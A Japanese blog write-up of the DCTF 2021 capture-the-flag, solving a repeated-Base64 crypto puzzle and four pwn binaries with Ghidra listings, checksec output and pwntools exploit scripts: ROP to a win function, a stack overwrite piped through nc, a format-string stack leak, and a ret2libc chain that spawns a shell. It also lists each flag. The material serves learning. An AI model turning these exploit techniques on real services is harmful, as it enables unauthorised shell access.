(2021/05/29 - Pwnを少し復習しました。下の方に追記してます。)

URL: https://umbccd.io/

950点を獲得し、最終順位は354位でした。
dctf_2021_score.png


以下は解いたチャレンジです。

dctf_2021_solves1.png



dctf_2021_solves2.png
dctf_2021_solves3.png



[Crypto]: This one is really basic (300 points)


Challenge

The answer to life, the universe, and everything.

Attachment:

  • cipher.txt (Base64エンコードされた8KBくらいのテキスト)


Solution

何故か 300 points と得点の配分が高い問題。

cipher.txtの見た目と、チャレンジのタイトルからして、Base64 を繰り返し行えばフラグが取れそうなのはわかります。

CyberChefでLabelとJumpを使ってループすることで解くことができます。

dctf_2021_cyberchef.png


以下がポイントです。

  • Remove non-alphabet chars が必要でした。(default: ON)
  • Maximum jumps (ループ回数) はトライ・アンド・エラーで見つけてます。
  • Auto Bakeが有効になっていると、Maximum jumpsの数字を変更している最中に処理が始まってしまうので、Auto Bakeは無効にしてテストするのがベター。(例えば、40 -> 41 に変えようとしたときに一旦0を消すけど、その時点で4で動いてしまう、みたいな感じ。)



Pythonでもやりました。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import base64

def b64dec(data):
    try:
        data += '=' * (-len(data) % 4)
        d = base64.b64decode(data)
        return d.decode('UTF-8')
    except Exception as e:
        print("{:<30}: \033[35m{}\033[0m".format("Base64 decode", e.args))
        exit()

c = open("cipher.txt","r").read()
while 1:
    c = b64dec(c)
    if 'dctf' in c:
        print(c)
        exit()


b64decode が bytearray(?) を返すので、UTF-8でデコードして返すところがポイントです(ハイライト部分)。

そうしないと、繰り返ししている最中に引数がおかしくなって処理ができません。



Flag: dctf{Th1s_l00ks_4_lot_sm4ll3r_th4n_1t_d1d}


(2021/06/02 - 追記)

もっと簡単なコードで解けました。

1
2
3
4
5
6
7
#!/usr/bin/env python
import base64

flag=open("cipher.txt","r").read()
while "dctf" not in str(flag):
    flag=base64.b64decode(flag)
print(flag)



[Pwn]: Pwn sanity check (100 points)


Challenge

This should take about 1337 seconds to solve.

Attachment:

  • pwn_sanity_check (ELF 64bit)


Solution

まず、Ghidraでコードを確認しました。main()からは、vuln()が呼ばれています。別途、win()関数が存在しています。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void vuln(void)

{
  char local_48 [60];
  int local_c;
  
  puts("tell me a joke");
  fgets(local_48,0x100,stdin);
  if (local_c == -0x21523f22) {
    puts("very good, here is a shell for you. ");
    shell();
  }
  else {
    puts("will this work?");
  }
  return;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void win(int param_1,int param_2)

{
  puts("you made it to win land, no free handouts this time, try harder");
  if (param_1 == -0x21524111) {
    puts("one down, one to go!");
    if (param_2 == 0x1337c0de) {
      puts("2/2 bro good job");
      system("/bin/sh");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  return;
}

まず、vuln()では、BOFを起こす際にローカル変数(local_c)も書き換えないといけません。

その後にshell() があるので、シェルが取れるかと思いきや、“try harder” と言われます。

$ ./pwn_sanity_check_solve.py
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
very good, here is a shell for you.
spawning /bin/sh process
wush!
$> If this is not good enough, you will just have to try harder :)



No PIEなので、引数をセットしてからwin()関数のアドレスに飛べばよさそうです。

$ checksec pwn_sanity_check
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)



書いたコード。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
from pwn import *

s = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)

pop_rdi = 0x0000000000400813
pop_rsi = 0x0000000000400811

payload = ''
payload += b'A' * 60
payload += p64(0xdeadc0de)  # local_c (-0x21523f22)
payload += b'B' * 4
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)  # param_1 (-0x21524111)
payload += p64(pop_rsi)
payload += p64(0x1337c0de)  # param_2
payload += p64(0x0000000000400697)  # win()
payload += p64(0x0000000000400697)  # win()

s.sendlineafter("tell me a joke\n", payload)
s.interactive()



実行結果:

$ ./pwn_sanity_check_solve.py
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
very good, here is a shell for you.
spawning /bin/sh process
wush!
$> If this is not good enough, you will just have to try harder :)
you made it to win land, no free handouts this time, try harder
one down, one to go!
2/2 bro good job
$ ls
flag.txt
pwn_sanity_check
startService.sh
$ cat flag.txt
dctf{Ju5t_m0v3_0n}


Flag: dctf{Ju5t_m0v3_0n}



[Pwn]: Pinch me (100 points)


Challenge

This should be easy!

Attachment:

  • pinch_me (ELF 64bit)


Solution

まず、Ghidraでコードを確認します。main()からは、vuln()が呼ばれています。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void vuln(void)

{
  char local_28 [24];
  int local_10;
  int local_c;
  
  local_c = 0x1234567;
  local_10 = -0x76543211;
  puts("Is this a real life, or is it just a fanta sea?");
  puts("Am I dreaming?");
  fgets(local_28,100,stdin);
  if (local_10 == 0x1337c0de) {
    system("/bin/sh");
  }
  else {
    if (local_c == 0x1234567) {
      puts("Pinch me!");
    }
    else {
      puts("Pinch me harder!");
    }
  }
  return;
}


ローカル変数(local_10)の方を書き換えるだけで、/bin/sh が実行できそう。

$ (python -c 'print("A"*24+"\xde\xc0\x37\x13")' ; cat - ) | nc dctf1-chall-pinch-me.westeurope.azurecontainer.io 7480
Is this a real life, or is it just a fanta sea?
Am I dreaming?
ls
flag.txt
pinch_me
startService.sh
cat flag.txt
dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}


Flag: dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}


Pwn Sanity Checkの方が難しかった。。





orange_bar.png
ここから下はイベント終了後に行った復習です。



[Pwn]: Readme (150 points)


Challenge

Read me to get the flag.

Attachment:

  • readme (ELF 64bit)


Solution

書式文字列攻撃 (Format string bug) なのは明確で、イベント中に以下の値までは取れてたのにフラグに辿り着けなかったチャレンジ。

hello 0x7ffe5c646f40
(nil)
(nil)
0x6
0x6
(nil)
0x55bdb53e52a0
0x77306e7b66746364
0x646133725f30675f
0x30625f656d30735f
0x7fa000356b30
0x7025702570257025
0x7025702570257025
0x7025702570257025


これがunhexして文字になるというのに全く気づかなかったんですよね。。

例:

$ unhex 30625f656d30735f ; echo
0b_em0s_



ということで、復習です。まずは、Ghidraでコードを確認します。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
undefined8 main(void)

{
  alarm(10);
  vuln();
  return 0;
}

void vuln(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_58 [32];
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  fgets(local_58,0x1c,__stream);
  fclose(__stream);
  puts("hello, what\'s your name?");
  fgets(local_38,0x1e,stdin);
  printf("hello ");
  printf(local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


以下が書いたコードです。

%0$p
%1$p
%2$p
:
のように、順番に送るコードです。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = 'critical'

# host, port = 'dctf-chall-readme.westeurope.azurecontainer.io', 7481

for i in range(0,40):
    # s = remote(host, port)
    s = process('./readme')

    s.recvuntil('your name?\n')
    s.sendline('%' + str(i) + '$p')
    # print(i)
    response = s.recv()
    lines = response.split("\n")
    for line in lines:
        if "0x" in line:
            r = line.split()
            try:
                print(p64(int(r[1], 16)))
            except:
                pass
    s.close()

ハイライト部分のように、リトルエンディアンになっている16進文字列は、p64()をかますと文字として表示できるようです。


実行結果:

$ ./readme_solve.py
hell\x00\x00
@@\x8c��\x00
\x06\x00\x00\x00
\xa0R��U
dctf{n0w
_g0_r3ad
_s0me_b0
0k5\x00\x00\x00
:


Flag: dctf{n0w_g0_r3ad_s0me_b00k5}



[Pwn]: Baby bof (250 points)


Challenge

It’s just another bof.

Attachment:

  • baby_bof (ELF 64bit)

  • Dockerfile

Dockerfileの中身

FROM ubuntu:20.04
RUN apt-get update && apt-get install -y make gcc socat

RUN groupadd pilot
RUN useradd pilot --gid pilot

COPY ./app /app
WORKDIR /app

ENTRYPOINT [ "bash", "/app/startService.sh" ]


Solution

どうやら、Dockerfileから libcファイルを特定するっぽいですね。

正直ちょっとよくわからないのと、もうサーバはアクセスできないので、ローカルでのテストのみで復習完了とします。

テストはKaliで行い、/usr/lib/x86_64-linux-gnu/libc.so.6 を使いました。


まずは、Ghidraでコードを確認します。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void vuln(void)

{
  char local_12 [10];
  
  puts("plz don\'t rop me");
  fgets(local_12,0x100,stdin);
  puts("i don\'t think this will work");
  return;
}


checksecも確認。

$ checksec baby_bof
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


以下、書いたコードです。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'critical'

FILE_NAME = './baby_bof'
s = process(FILE_NAME)
elf = ELF(FILE_NAME)

rdi_ret = next(elf.search(asm('pop rdi; ret')))
got_puts = elf.got["puts"]
plt_puts = elf.plt["puts"]
addr_vuln = elf.symbols["vuln"]

# libc = ELF('./libc.so.6')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
off_puts = libc.symbols["puts"]
# gadget = [0xcbdda, 0xcbddd, 0xcbde0]

bufsize = 10 + 8
payload = "A" * bufsize
payload += p64(rdi_ret)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(addr_vuln)      # return to vuln
s.sendlineafter("rop me\n",payload)
s.recvuntil('work\n')

libc_puts = u64(s.recv(6) + "\x00\x00")
libc_base = libc_puts - off_puts
# one_gadget = libc_base + gadget[1]
libc.address = libc_base
print hex(libc_base)

payload = "A" * bufsize
payload += p64(rdi_ret)
payload += p64(libc.search(b'/bin/sh').next())
payload += p64(libc.sym.system)
s.sendlineafter("rop me\n",payload)
s.recvuntil('work\n')
s.interactive()	

one_gadgetを使ったやり方では動かなかったので、コメントアウトしてます。


実行結果:

$ ./baby_bof_solve.py
0x7f45ecaa6000
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}


Flag: dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}